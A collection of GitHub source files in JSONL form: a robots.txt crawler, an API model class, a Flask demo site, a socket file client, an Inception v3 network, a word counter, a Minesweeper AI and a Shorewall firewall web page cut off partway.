+{"seq_id":"17048604387","text":"import asyncio\nimport os\nfrom datetime import datetime\n\nimport aiohttp\nimport requests\n\nfrom pymongo import MongoClient\n\n# MONGO_HOST = os.environ['MONGO_HOST']\n# MONGO_PORT = int(os.environ['MONGO_PORT'])\n# MONGO_DB = os.environ['MONGO_DB']\nMONGO_HOST = 'localhost'\nMONGO_PORT = 27017\nMONGO_DB = 'crawlab_test'\n\nmongo = MongoClient(host=MONGO_HOST, port=MONGO_PORT)\ndb = mongo[MONGO_DB]\ncol = db['sites']\n\n\nasync def process_response(resp, **kwargs):\n    url = kwargs.get('url')\n    status = resp.status  # 读取状态\n    if status == 200 and ('robots.txt' in str(resp.url)):\n        col.update({'_id': url}, {'$set': {'has_robots': True}})\n    else:\n        # 错误状态\n        col.update({'_id': url}, {'$set': {'has_robots': False}})\n\n\nasync def process_home_page_response(resp, **kwargs):\n    url = kwargs.get('url')\n    duration = kwargs.get('duration')\n    status = resp.status  # 读取状态\n    col.update({'_id': url}, {'$set': {'home_http_status': status, 'home_response_time': duration}})\n\n\nasync def request_site(url: str, semaphore):\n    _url = 'http://' + url + '/robots.txt'\n    # print('crawling ' + _url)\n    async with semaphore:\n        async with aiohttp.ClientSession() as session:  # <1> 开启一个会话\n            async with session.get(_url) as resp:  # 发送请求\n                await process_response(resp=resp, url=url)\n                print('crawled ' + _url)\n    # resp = requests.get(_url)\n    return resp\n\n\nasync def request_site_home_page(url: str, semophore):\n    _url = 'http://' + url\n    # print('crawling ' + _url)\n    async with semophore:\n        tic = datetime.now()\n        async with aiohttp.ClientSession() as session:  # <1> 开启一个会话\n            async with session.get(_url) as resp:  # 发送请求\n                toc = datetime.now()\n                duration = (toc - tic).total_seconds()\n                await process_home_page_response(resp=resp, url=url, duration=duration)\n                print('crawled ' + _url)\n\n\nasync def run():\n    semaphore = asyncio.Semaphore(50)  # 限制并发量为50\n    # sites = [site for site in col.find({'rank': {'$lte': 5000}})]\n    sites = [site for site in col.find({'rank': {'$lte': 100}})]\n    urls = [site['_id'] for site in sites]\n    to_get = [request_site(url, semaphore) for url in urls]\n    to_get += [request_site_home_page(url, semaphore) for url in urls]\n    await asyncio.wait(to_get)\n\n\nif __name__ == '__main__':\n    loop = asyncio.get_event_loop()\n    loop.run_until_complete(run())\n    loop.close()\n","repo_name":"wyfish/crawlab_go","sub_path":"spiders/sites_inspector/sites_inspector.py","file_name":"sites_inspector.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"1740502943","text":"from typing import TYPE_CHECKING, Any, Dict, List, Type, TypeVar, Union\n\nimport attr\n\nfrom ..models.account_status import AccountStatus\nfrom ..models.payment_method import PaymentMethod\nfrom ..types import UNSET, Unset\n\nif TYPE_CHECKING:\n    from ..models.tax_code import TaxCode\n\n\nT = TypeVar(\"T\", bound=\"Account\")\n\n\n@attr.s(auto_attribs=True)\nclass Account:\n    \"\"\"\n    Attributes:\n        server_limit (int): Server limits are not currently implemented and this value will always be int32.MaxValue.\n        floating_ip_limit (int): Floating IPs are not currently implemented and this value will always be 0.\n        volume_limit (int): Volumes are not currently implemented and this value will always be 0.\n        email (str): The email address registered for this account.\n        uuid (str): The ID of this account.\n        email_verified (bool): Whether this account has been verified. Un-verified accounts are subject to some\n            restrictions.\n        status (AccountStatus):\n            | Value | Description |\n            | ----- | ----------- |\n            | incomplete | An account that exists but is not ready for use. The most common reason for this is a lack of\n            payment information. |\n            | active | An account in the normal state. |\n            | warning | An account that is under review. If you are unsure why your account has this status please urgently\n            contact support. |\n            | locked | An account that is no longer permitted to access the service. |\n\n        tax_code (TaxCode):\n        configured_payment_methods (List[PaymentMethod]): The payment methods that are configured (available) for this\n            account.\n        status_message (Union[Unset, None, str]): A message explaining the account status. This is not currently\n            supported.\n    \"\"\"\n\n    server_limit: int\n    floating_ip_limit: int\n    volume_limit: int\n    email: str\n    uuid: str\n    email_verified: bool\n    status: AccountStatus\n    tax_code: \"TaxCode\"\n    configured_payment_methods: List[PaymentMethod]\n    status_message: Union[Unset, None, str] = UNSET\n    additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n    def to_dict(self) -> Dict[str, Any]:\n        server_limit = self.server_limit\n        floating_ip_limit = self.floating_ip_limit\n        volume_limit = self.volume_limit\n        email = self.email\n        uuid = self.uuid\n        email_verified = self.email_verified\n        status = self.status.value\n\n        tax_code = self.tax_code.to_dict()\n\n        configured_payment_methods = []\n        for configured_payment_methods_item_data in self.configured_payment_methods:\n            configured_payment_methods_item = configured_payment_methods_item_data.value\n\n            configured_payment_methods.append(configured_payment_methods_item)\n\n        status_message = self.status_message\n\n        field_dict: Dict[str, Any] = {}\n        field_dict.update(self.additional_properties)\n        field_dict.update(\n            {\n                \"server_limit\": server_limit,\n                \"floating_ip_limit\": floating_ip_limit,\n                \"volume_limit\": volume_limit,\n                \"email\": email,\n                \"uuid\": uuid,\n                \"email_verified\": email_verified,\n                \"status\": status,\n                \"tax_code\": tax_code,\n                \"configured_payment_methods\": configured_payment_methods,\n            }\n        )\n        if status_message is not UNSET:\n            field_dict[\"status_message\"] = status_message\n\n        return field_dict\n\n    @classmethod\n    def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n        from ..models.tax_code import TaxCode\n\n        d = src_dict.copy()\n        server_limit = d.pop(\"server_limit\")\n\n        floating_ip_limit = d.pop(\"floating_ip_limit\")\n\n        volume_limit = d.pop(\"volume_limit\")\n\n        email = d.pop(\"email\")\n\n        uuid = d.pop(\"uuid\")\n\n        email_verified = d.pop(\"email_verified\")\n\n        status = AccountStatus(d.pop(\"status\"))\n\n        tax_code = TaxCode.from_dict(d.pop(\"tax_code\"))\n\n        configured_payment_methods = []\n        _configured_payment_methods = d.pop(\"configured_payment_methods\")\n        for configured_payment_methods_item_data in _configured_payment_methods:\n            configured_payment_methods_item = PaymentMethod(configured_payment_methods_item_data)\n\n            configured_payment_methods.append(configured_payment_methods_item)\n\n        status_message = d.pop(\"status_message\", UNSET)\n\n        account = cls(\n            server_limit=server_limit,\n            floating_ip_limit=floating_ip_limit,\n            volume_limit=volume_limit,\n            email=email,\n            uuid=uuid,\n            email_verified=email_verified,\n            status=status,\n            tax_code=tax_code,\n            configured_payment_methods=configured_payment_methods,\n            status_message=status_message,\n        )\n\n        account.additional_properties = d\n        return account\n\n    @property\n    def additional_keys(self) -> List[str]:\n        return list(self.additional_properties.keys())\n\n    def __getitem__(self, key: str) -> Any:\n        return self.additional_properties[key]\n\n    def __setitem__(self, key: str, value: Any) -> None:\n        self.additional_properties[key] = value\n\n    def __delitem__(self, key: str) -> None:\n        del self.additional_properties[key]\n\n    def __contains__(self, key: str) -> bool:\n        return key in self.additional_properties\n","repo_name":"aktowns/binary-lane-api-client","sub_path":"binary_lane_api_client/models/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":5510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27467264901","text":"from flask import Flask, render_template, jsonify\n\napp = Flask(__name__)\n\nJOBS = [\n  {\n    'id': 1,\n    'title': 'Logos',\n    \n  },\n  {\n    'id': 2,\n    'title': 'Designs',\n    \n  },\n  {\n    'id': 3,\n    'title': 'Drawing',\n    \n  },\n  {\n    'id': 4,\n    'title': 'Emotes',\n    \n  }\n]\n\n@app.route(\"/\")\ndef hello_jovian():\n    return render_template('home.html', \n                           jobs=JOBS, \n                           company_name='The Creaphics')\n\n@app.route(\"/api/jobs\")\ndef list_jobs():\n  return jsonify(JOBS)\n  \n@app.after_request\ndef add_vary_cookie_header(response):\n    response.headers[\"Vary\"] = \"Cookie\"\n    return response  \n\nif __name__ == '__main__':\n  app.run(host='0.0.0.0', debug=True)\n","repo_name":"SonuGupta00sg/website-making","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2971129602","text":"#!/usr/bin/env python3\n\n#Fahrettin Orkun İncili - 150401013\n\nimport socket\nfrom scapy.all import*\n\n\nIP=input(\"IP:\")\nPORT = 42\nprint(\"\"\"\n############################################################\n|                                                          |\n|  l            komutu sunucudaki dosyaları listeler       |\n| get           komutundan sonra dosya adı girilmelidir    |\n| put           komutundan sonra dosya adı girilmelidir    |\n| exit          çıkış                                      |\n############################################################\n\n\"\"\")\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    s.connect((IP, PORT))\n    while True:\n        choice = input(\"Yapacağınız işlemi seçiniz:\")\n        byte_choice = str.encode(choice)\n\n        s.sendall(byte_choice)\n\n        if choice==\"l\":\n\n            data = s.recv(1024)\n            data=data.decode(\"utf-8\")\n\n            print('İndirilebilecek dosyalar: ', data)\n\n        elif choice==\"get\":\n\n            get=input(\"Dosya adını giriniz:\")\n            get=str.encode(get)\n            s.sendall(get)\n\n            data = s.recv(1024)\n            data = data.decode(\"utf-8\")\n            file=open(\"deneme.txt\", \"w\")\n            file.write(data)\n            print(\"Başarılı.Dosya yolu:\",os.getcwd()+\"/files\")\n\n\n        elif choice==\"put\":\n            current_dir = os.getcwd()\n            file_names = os.listdir(current_dir)\n            print(\"Yükleyebileceğiniz dosyalar:\",file_names)\n            put = input(\"Dosya adını giriniz:\")\n            file=open(\"deneme.txt\",\"r\")\n            file=file.read()\n\n            put = str.encode(file)\n            s.sendall(put)\n            print(\"dosya başarıyla yüklendi\")\n\n        elif choice==\"exit\":\n            sys.exit(0)","repo_name":"nyucel/blm304","sub_path":"vize/150401013/client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"tr","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"}
+{"seq_id":"73032838133","text":"from functools import partial\n\nfrom neupy import layers, plots\n\n\ndef ConvReluBN(*conv_args, **conv_kwargs):\n    return layers.join(\n        layers.Convolution(*conv_args, **conv_kwargs),\n        layers.Relu(),\n        layers.BatchNorm(epsilon=0.001),\n    )\n\n\ndef Inception_1(conv_filters):\n    return layers.join(\n        [[\n            ConvReluBN((conv_filters[0][0], 1, 1)),\n        ], [\n            ConvReluBN((conv_filters[1][0], 1, 1)),\n            ConvReluBN((conv_filters[1][1], 5, 5), padding=2),\n        ], [\n            ConvReluBN((conv_filters[2][0], 1, 1)),\n            ConvReluBN((conv_filters[2][1], 3, 3), padding=1),\n            ConvReluBN((conv_filters[2][2], 3, 3), padding=1),\n        ], [\n            layers.AveragePooling((3, 3), stride=(1, 1), padding=1,\n                                  mode='exclude_padding'),\n            ConvReluBN((conv_filters[3][0], 1, 1)),\n        ]],\n        layers.Concatenate(),\n    )\n\n\ndef Inception_2(conv_filters):\n    return layers.join(\n        [[\n            ConvReluBN((conv_filters[0][0], 1, 1)),\n        ], [\n            ConvReluBN((conv_filters[1][0], 1, 1)),\n            ConvReluBN((conv_filters[1][1], 1, 7), padding=(0, 3)),\n            ConvReluBN((conv_filters[1][2], 7, 1), padding=(3, 0)),\n        ], [\n            ConvReluBN((conv_filters[2][0], 1, 1)),\n            ConvReluBN((conv_filters[2][1], 7, 1), padding=(3, 0)),\n            ConvReluBN((conv_filters[2][2], 1, 7), padding=(0, 3)),\n            ConvReluBN((conv_filters[2][3], 7, 1), padding=(3, 0)),\n            ConvReluBN((conv_filters[2][4], 1, 7), padding=(0, 3)),\n        ], [\n            layers.AveragePooling((3, 3), stride=(1, 1), padding=1,\n                                  mode='exclude_padding'),\n            ConvReluBN((conv_filters[3][0], 1, 1)),\n        ]],\n        layers.Concatenate(),\n    )\n\n\ndef Inception_3(pooling):\n    if pooling not in ('max', 'average'):\n        raise ValueError(\"Invalid pooling option: {}\".format(pooling))\n\n    if pooling == 'max':\n        Pooling = layers.MaxPooling\n\n    elif pooling == 'average':\n        Pooling = partial(layers.AveragePooling, mode='exclude_padding')\n\n    return layers.join(\n        [[\n            ConvReluBN((320, 1, 1)),\n        ], [\n            ConvReluBN((384, 1, 1)),\n            [[\n                ConvReluBN((384, 1, 3), padding=(0, 1)),\n            ], [\n                ConvReluBN((384, 3, 1), padding=(1, 0)),\n            ]],\n        ], [\n            ConvReluBN((448, 1, 1)),\n            ConvReluBN((384, 3, 3), padding=1),\n            [[\n                ConvReluBN((384, 1, 3), padding=(0, 1)),\n            ], [\n                ConvReluBN((384, 3, 1), padding=(1, 0)),\n            ]],\n        ], [\n            Pooling((3, 3), stride=(1, 1), padding=1),\n            ConvReluBN((192, 1, 1)),\n        ]],\n        layers.Concatenate(),\n    )\n\n\ninception_v3 = layers.join(\n    layers.Input((3, 299, 299)),\n\n    ConvReluBN((32, 3, 3), stride=2),\n    ConvReluBN((32, 3, 3)),\n    ConvReluBN((64, 3, 3), padding=1),\n    layers.MaxPooling((3, 3), stride=(2, 2)),\n\n    ConvReluBN((80, 1, 1)),\n    ConvReluBN((192, 3, 3)),\n    layers.MaxPooling((3, 3), stride=(2, 2)),\n\n    Inception_1([[64], [48, 64], [64, 96, 96], [32]]),\n    Inception_1([[64], [48, 64], [64, 96, 96], [64]]),\n    Inception_1([[64], [48, 64], [64, 96, 96], [64]]),\n\n    [[\n        ConvReluBN((384, 3, 3), stride=2),\n    ], [\n        ConvReluBN((64, 1, 1)),\n        ConvReluBN((96, 3, 3), padding=1),\n        ConvReluBN((96, 3, 3), stride=2),\n    ], [\n        layers.MaxPooling((3, 3), stride=(2, 2))\n    ]],\n    layers.Concatenate(),\n\n    Inception_2([[192], [128, 128, 192], [128, 128, 128, 128, 192], [192]]),\n    Inception_2([[192], [160, 160, 192], [160, 160, 160, 160, 192], [192]]),\n    Inception_2([[192], [160, 160, 192], [160, 160, 160, 160, 192], [192]]),\n    Inception_2([[192], [192, 192, 192], [192, 192, 192, 192, 192], [192]]),\n\n    [[\n        ConvReluBN((192, 1, 1)),\n        ConvReluBN((320, 3, 3), stride=2),\n    ], [\n        ConvReluBN((192, 1, 1)),\n        ConvReluBN((192, 1, 7), padding=(0, 3)),\n        ConvReluBN((192, 7, 1), padding=(3, 0)),\n        ConvReluBN((192, 3, 3), stride=2),\n    ], [\n        layers.MaxPooling((3, 3), stride=(2, 2))\n    ]],\n    layers.Concatenate(),\n\n    Inception_3(pooling='average'),\n    Inception_3(pooling='max'),\n\n    layers.GlobalPooling(),\n    layers.Softmax(1000),\n)\nplots.layer_structure(inception_v3)\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/itdxer_neupy/neupy-master/examples/cnn/inception_v3.py","file_name":"inception_v3.py","file_ext":"py","file_size_in_byte":4424,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"31515911366","text":"import collections\ndef count(obj):\n    with open(obj,'r') as f:\n        data=f.read()\n    data=data.split(' ')\n    str=''\n    counter=collections.Counter(data)\n    for keys,values in counter.items():\n       print(keys,end='\\t')\n       print(values,end='\\t')\nif __name__ == '__main__':\n    count('foruse.txt')\n","repo_name":"RabbyteNi/word-counter","sub_path":"count.py","file_name":"count.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26338153541","text":"import itertools\nimport random\n\n\nclass Minesweeper():\n    \"\"\"\n    Minesweeper game representation\n    \"\"\"\n\n    def __init__(self, height=8, width=8, mines=8):\n\n        # Set initial width, height, and number of mines\n        self.height = height\n        self.width = width\n        self.mines = set()\n\n        # Initialize an empty field with no mines\n        self.board = []\n        for i in range(self.height):\n            row = []\n            for j in range(self.width):\n                row.append(False)\n            self.board.append(row)\n\n        # Add mines randomly\n        while len(self.mines) != mines:\n            i = random.randrange(height)\n            j = random.randrange(width)\n            if not self.board[i][j]:\n                self.mines.add((i, j))\n                self.board[i][j] = True\n\n        # At first, player has found no mines\n        self.mines_found = set()\n\n    def print(self):\n        \"\"\"\n        Prints a text-based representation\n        of where mines are located.\n        \"\"\"\n        for i in range(self.height):\n            print(\"--\" * self.width + \"-\")\n            for j in range(self.width):\n                if self.board[i][j]:\n                    print(\"|X\", end=\"\")\n                else:\n                    print(\"| \", end=\"\")\n            print(\"|\")\n        print(\"--\" * self.width + \"-\")\n\n    def is_mine(self, cell):\n        i, j = cell\n        return self.board[i][j]\n\n    def nearby_mines(self, cell):\n        \"\"\"\n        Returns the number of mines that are\n        within one row and column of a given cell,\n        not including the cell itself.\n        \"\"\"\n\n        # Keep count of nearby mines\n        count = 0\n\n        # Loop over all cells within one row and column\n        for i in range(cell[0] - 1, cell[0] + 2):\n            for j in range(cell[1] - 1, cell[1] + 2):\n\n                # Ignore the cell itself\n                if (i, j) == cell:\n                    continue\n\n                # Update count if cell in bounds and is mine\n                if 0 <= i < self.height and 0 <= j < self.width:\n                    if self.board[i][j]:\n                        count += 1\n\n        return count\n\n    def won(self):\n        \"\"\"\n        Checks if all mines have been flagged.\n        \"\"\"\n        return self.mines_found == self.mines\n\n\nclass Sentence():\n    \"\"\"\n    Logical statement about a Minesweeper game\n    A sentence consists of a set of board cells,\n    and a count of the number of those cells which are mines.\n    \"\"\"\n\n    def __init__(self, cells, count):\n        self.cells = set(cells)\n        self.count = count\n\n    def __eq__(self, other):\n        return self.cells == other.cells and self.count == other.count\n\n    def __str__(self):\n        return f\"{self.cells} = {self.count}\"\n\n    def known_mines(self):\n        \"\"\"\n        Returns the set of all cells in self.cells known to be mines.\n        \"\"\"\n        if self.count == len(self.cells):\n            return self.cells\n        else:\n            return set()\n\n    def known_safes(self):\n        \"\"\"\n        Returns the set of all cells in self.cells known to be safe.\n        \"\"\"\n        if self.count == 0:\n            return self.cells\n        else:\n            return set()\n\n    def mark_mine(self, cell):\n        \"\"\"\n        Updates internal knowledge representation given the fact that\n        a cell is known to be a mine.\n        \"\"\"\n        if cell in self.cells:\n            self.cells.remove(cell)\n            self.count -= 1\n\n    def mark_safe(self, cell):\n        \"\"\"\n        Updates internal knowledge representation given the fact that\n        a cell is known to be safe.\n        \"\"\"\n        if cell in self.cells:\n            self.cells.remove(cell)\n\n\ndef unique(list1):\n    unique_list = []\n    for item in list1:\n        if item not in unique_list:\n            unique_list.append(item)\n    return unique_list\n\nclass MinesweeperAI():\n    \"\"\"\n    Minesweeper game player\n    \"\"\"\n\n    def __init__(self, height=8, width=8):\n\n        # Set initial height and width\n        self.height = height\n        self.width = width\n\n        # Keep track of which cells have been clicked on\n        self.moves_made = set()\n\n        # Keep track of cells known to be safe or mines\n        self.mines = set()\n        self.safes = set()\n\n        # List of sentences about the game known to be true\n        self.knowledge = []\n\n        # List of cells available to move\n        self.availables = []\n        for i in range(width):\n            for j in range(height):\n                self.availables.append((i, j))\n\n    def mark_mine(self, cell):\n        \"\"\"\n        Marks a cell as a mine, and updates all knowledge\n        to mark that cell as a mine as well.\n        \"\"\"\n        self.mines.add(cell)\n        for sentence in self.knowledge:\n            sentence.mark_mine(cell)\n\n    def mark_safe(self, cell):\n        \"\"\"\n        Marks a cell as safe, and updates all knowledge\n        to mark that cell as safe as well.\n        \"\"\"\n        self.safes.add(cell)\n        for sentence in self.knowledge:\n            sentence.mark_safe(cell)\n\n    def add_knowledge(self, cell, count):\n        \"\"\"\n        Called when the Minesweeper board tells us, for a given\n        safe cell, how many neighboring cells have mines in them.\n\n        This function should:\n            1) mark the cell as a move that has been made\n            2) mark the cell as safe\n            3) add a new sentence to the AI's knowledge base\n               based on the value of `cell` and `count`\n            4) mark any additional cells as safe or as mines\n               if it can be concluded based on the AI's knowledge base\n            5) add any new sentences to the AI's knowledge base\n               if they can be inferred from existing knowledge\n        \"\"\"\n        # mark the cell as a move that has been made\n        self.moves_made.add(cell)\n        # mark the cell as safe\n        self.mark_safe(cell)\n        # add a new sentence to the AI's knowledge base based on the value of `cell` and `count`\n        # 1. making logical sentence from surrounding cells\n        cells = set()\n        for i in [-1, 0, 1]:\n            if (cell[0] + i >= 0) and (cell[0] + i <= self.width - 1):\n                for j in [-1, 0, 1]:\n                    if (cell[1] + j >= 0) and (cell[1] + j <= self.height - 1):\n                        new_cell = (cell[0] + i, cell[1] + j)\n                        if not (new_cell in self.moves_made):\n                            cells.add(new_cell)\n        new_sentence = Sentence(cells, count)\n        # 2. check if new sentence is a subset of any sentence in knowledge (or vice versa), if so add just the difference to knowledge\n        check = 0\n        adding_sentence_list = []\n        removing_sentence_list = []\n        if len(self.knowledge) != 0:\n            for sentence in self.knowledge:\n                if sentence.cells == new_sentence.cells:\n                    check = 1\n                else:\n                    if sentence.cells.issubset(new_sentence.cells): # sentence in knowledge is a subset of new sentence\n                        adding_sentence_cells = new_sentence.cells.difference(sentence.cells)\n                        adding_sentence_count = new_sentence.count - sentence.count\n                        adding_sentence = Sentence(adding_sentence_cells, adding_sentence_count)\n                        adding_sentence_list.append(adding_sentence)\n                        check = 1\n                    elif new_sentence.cells.issubset(sentence.cells): # new sentence is a subset of sentence in knowledge \n                        adding_sentence_cells = sentence.cells.difference(new_sentence.cells)\n                        adding_sentence_count = sentence.count - new_sentence.count\n                        adding_sentence = Sentence(adding_sentence_cells, adding_sentence_count)\n                        adding_sentence_list.append(adding_sentence)\n                        check = 1\n            self.knowledge += adding_sentence_list\n            self.knowledge = unique(self.knowledge) # remove the redundants\n            if check == 0:\n                    self.knowledge.append(new_sentence)\n        else:\n            self.knowledge.append(new_sentence)\n        # mark any additional cells as safe or as mines if it can be concluded based on the AI's knowledge base\n        for sentence in self.knowledge:\n            if sentence.cells == None:\n                self.knowledge.remove(sentence)\n            new_safes = sentence.known_safes().difference(self.safes)\n            new_mines = sentence.known_mines().difference(self.mines)\n            if len(new_safes) != 0:\n                for new_safe in new_safes:\n                    self.mark_safe(new_safe)\n            if len(new_mines) != 0:\n                for new_mine in new_mines:\n                    self.mark_mine(new_mine)\n\n\n    def make_safe_move(self):\n        \"\"\"\n        Returns a safe cell to choose on the Minesweeper board.\n        The move must be known to be safe, and not already a move\n        that has been made.\n\n        This function may use the knowledge in self.mines, self.safes\n        and self.moves_made, but should not modify any of those values.\n        \"\"\"\n        if len(self.safes) != 0:\n            for safe in self.safes:\n                if not (safe in self.moves_made):\n                    self.availables.remove(safe)\n                    return safe\n\n\n    def make_random_move(self):\n        \"\"\"\n        Returns a move to make on the Minesweeper board.\n        Should choose randomly among cells that:\n            1) have not already been chosen, and\n            2) are not known to be mines\n        \"\"\"\n        number_len = len(self.availables)\n        if number_len == 0: # if there's no available left, return None \n            return None\n        random_number = random.randint(0, number_len-1) # index for random_cell in self.availables\n        random_cell = self.availables[random_number] # choose one cell of all available cells\n        self.availables.remove(random_cell)\n        if (random_cell not in self.moves_made) and (random_cell not in self.mines):\n            return random_cell\n        else:\n            self.make_random_move()\n","repo_name":"supawichable/AI_Projects","sub_path":"minesweeper/minesweeper.py","file_name":"minesweeper.py","file_ext":"py","file_size_in_byte":10195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74504612211","text":"from nevow import rend, loaders, tags\nfrom twisted.application import service, internet, strports\nfrom twisted.web import server, static\nfrom twisted.python import failure\nfrom nevow import inevow, rend, appserver, static, guard, url, loaders, stan\nfrom nevow.taglibrary import tabbedPane\nimport time, formal, LDAP, os\nimport Tree, Settings\nfrom Core import PageHelpers, Shorewall, confparse, Utils, WebUtils\nfrom Pages import Users, Tools\n\nclass Page(PageHelpers.DefaultPage):\n    rules = Shorewall.Rules()\n\n    protocols = [('tcp', 'TCP'),\n                 ('udp', 'UDP'),\n                 ('47', 'PPTP')]\n\n    def render_pageName(self, ctx, data):\n        return ctx.tag[tags.h2[\"Tools\"]]\n\n    def getZones(self):\n        zones = self.sysconf.Shorewall.get('zones', {})\n        return [(zo,zo) for zo in zones.keys()] # Build something we can se for drop downs\n\n    def form_addZone(self, data):\n        form = formal.Form()\n\n        form.addField('zone', formal.String(required=True), label = \"Zone name\", description = \"The name of this zone\")\n\n        form.addField('policy', formal.String(required=True),  formal.widgetFactory(formal.SelectChoice, options = [\n                ('ACCEPT', 'ACCEPT'),\n                ('DROP', 'DROP')\n            ]), label = \"Policy\", \n            description = \"The default action to take on traffic not matching any rule\")\n\n        form.addField('log', formal.String(), label = \"Log\", description = \"Advanced: Logging target for dropped packets. Usualy $log if policy is ACCEPT\")\n\n        form.addField('interfaces', formal.String(), label = \"Interface members\", description = \"Advanced: Comma separated list of interface defenitions.\")\n        \n        form.addAction(self.submitZone)\n\n        return form\n\n    def submitZone(self, ctx, form, data):\n        k = self.sysconf.Shorewall\n        # Make a zone def if there isn't one\n        if not k.get('zones', None):\n            k['zones'] = {}\n\n        if data['zone'] in k.get('zones', {}):\n            del k['zones'][data['zone']]\n\n        if data['interfaces']:\n            ifs = data['interfaces'].split(',')\n        else:\n            ifs = []\n        zone = {\n            'policy': data['policy'],\n            'log' : data['log'] or '',\n            'interfaces': []\n        }\n        \n        k['zones'][data['zone']] = zone\n\n        self.sysconf.Shorewall = k \n            \n\n    def form_allowRange(self, data):\n        form = formal.Form()\n        form.addField('sourceip', formal.String(required=True), label = \"Source IP\", description = \"Source IP address of connecting host or network\")\n        #form.addField('destip', formal.String(), label = \"Destination IP\", description = \"Destination IP address or network (Leave blank for ANY)\")\n        form.addField('zone', formal.String(required=True), formal.widgetFactory(formal.SelectChoice, options = self.getZones()), label = \"Zone\")\n        form.data['zone']=\"net\"\n\n        form.addAction(self.submitAllowRange)\n\n        return form\n\n    def submitAllowRange(self, ctx, form, data):\n        self.rules.addRule(\"AIP\", self.rules.buildRule(\"AIP\", data['zone'], data['sourceip']))\n        return url.root.child('Firewall')\n\n    def form_allowPort(self, data):\n        form = formal.Form()\n        form.addField('destport', formal.String(required=True), label = \"Destination Port\", description = \"TCP/UDP port to permit\")\n        form.addField('destip', formal.String(), label = \"Destination IP\", description = \"Destination IP address or network (Leave blank for ANY)\")\n        form.addField('proto', formal.String(required=True), formal.widgetFactory(formal.SelectChoice, options = self.protocols), label = \"Protocol\")\n        form.data['proto'] = 'tcp'\n        form.addField('zone', formal.String(required=True), formal.widgetFactory(formal.SelectChoice, options = self.getZones()), label = \"Zone\")\n        form.data['zone']=\"net\"\n        form.addAction(self.submitAllowPort)\n\n        return form\n\n    def submitAllowPort(self, ctx, form, data):\n        self.rules.addRule(\"APORT\", self.rules.buildRule(\"APORT\", data['zone'], data['proto'], data['destport'], data['destip']))\n        return url.root.child('Firewall')\n\n    def form_forwardPort(self, data):\n        form = formal.Form()\n        form.addField('port', formal.String(), label = \"Port\", description = \"TCP/UDP port to forward. Blank for protocol forward (like PPTP).\")\n        form.addField('destip', formal.String(required=True), label = \"Target IP\", description = \"Destination IP address to forward to\")\n        form.addField('dstport', formal.String(), label = \"Target Port\", description = \"TCP/UDP port to forward to. Blank for the same port.\")\n        form.addField('sourceip', formal.String(), label = \"Destination IP\", description = \"External IP to forward from\")\n        form.addField('proto', formal.String(required=True), formal.widgetFactory(formal.SelectChoice, options = self.protocols), label = \"Protocol\")\n        form.data['proto'] = 'tcp'\n        \n        form.addAction(self.submitForwardPort)\n        return form\n\n    def submitForwardPort(self, ctx, form, data):\n        if not data['dstport']:\n            data['dstport'] = \"\"\n        self.rules.addRule(\"FORWARD\", self.rules.buildRule(\"FORWARD\", data['destip'], data['proto'], data['port'], data['dstport'], data['sourceip']))\n        return url.root.child('Firewall')\n\n    def form_transProxy(self, data):\n        form = formal.Form()\n        form.addField('sourceip', formal.String(), label = \"Source IP\", description=[\"Source IP address of connecting host or network (Leave blank for ANY).\"\n        \" This is usually a source host or network you want to exclude.\"])\n        form.addField('destip', formal.String(), label = \"Destination IP\", description = [\"Destination IP address or network (Leave blank for ANY). \", \n        \"This is usually the opposite (!) of your local network.\", \"This is NOT the server you'd like to proxy to.\"])\n        form.addField('srcport', formal.String(), label = \"Source port\", description = \"TCP/UDP port to catch.\")\n        form.addField('dstport', formal.String(), label = \"Destination port\", description = \"TCP/UDP port to forward to.\")\n        form.addField('proto', formal.String(required=True), formal.widgetFactory(formal.SelectChoice, options = self.protocols), label = \"Protocol\")\n        form.data['proto'] = 'tcp'\n        form.addAction(self.submitTransProxy)\n\n        return form\n\n    def submitTransProxy(self, ctx, form, data):\n        if data['sourceip']:\n            source = \":%s\" % data['sourceip']\n        else:\n            source = \"\"\n        self.rules.addRule(\"PROXY\", self.rules.buildRule(\"PROXY\", source, data['dstport'], data['proto'], data['srcport'], data['destip']))\n        return url.root.child('Firewall')\n\n    def restartShorewall(self):\n        WebUtils.system(Settings.BaseDir+'/configurator --shorewall; shorewall restart')\n\n    def locateChild(self, ctx, segs):\n        if segs[0]==\"Delete\":\n            if segs[1] == 'Zone':\n                k = self.sysconf.Shorewall\n                if segs[2] in k.get('zones', {}):\n                    del k['zones'][segs[2]]\n                self.sysconf.Shorewall = k\n            else:\n                self.rules.deleteRule(segs[1], int(segs[2]))\n            return url.root.child('Firewall'), ()\n        if segs[0]==\"Restart\":\n            self.restartShorewall()\n            return url.root.child('Firewall'), ()\n        return rend.Page.locateChild(self, ctx, segs)\n        \n    def getRules(self):\n        return None\n\n    def render_sideMenu(self, ctx, data):\n        return ctx.tag[Tools.Page.sideMenu(Tools.Page(None, self.db), ctx, data)]\n\n    def render_content(self, ctx, data):\n        rules = self.rules.read()\n        return ctx.tag[\n                tags.h2[tags.img(src=\"/images/firewall.png\"), \" Firewall\"],\n                tags.img(src=\"/images/refresh.png\"),\n                tags.a(\n                    href=\"Restart\", \n                    style=\"font-size:12pt;\", \n                    title=\"Restart the firewall and apply the changes. Changes are only activated after this is clicked.\"\n                )[tags.strong[\"Apply Changes\"]],\n                PageHelpers.TabSwitcher((\n                    ('Allow IP'          , 'panelAllowIP'),\n                    ('Allow Ports'       , 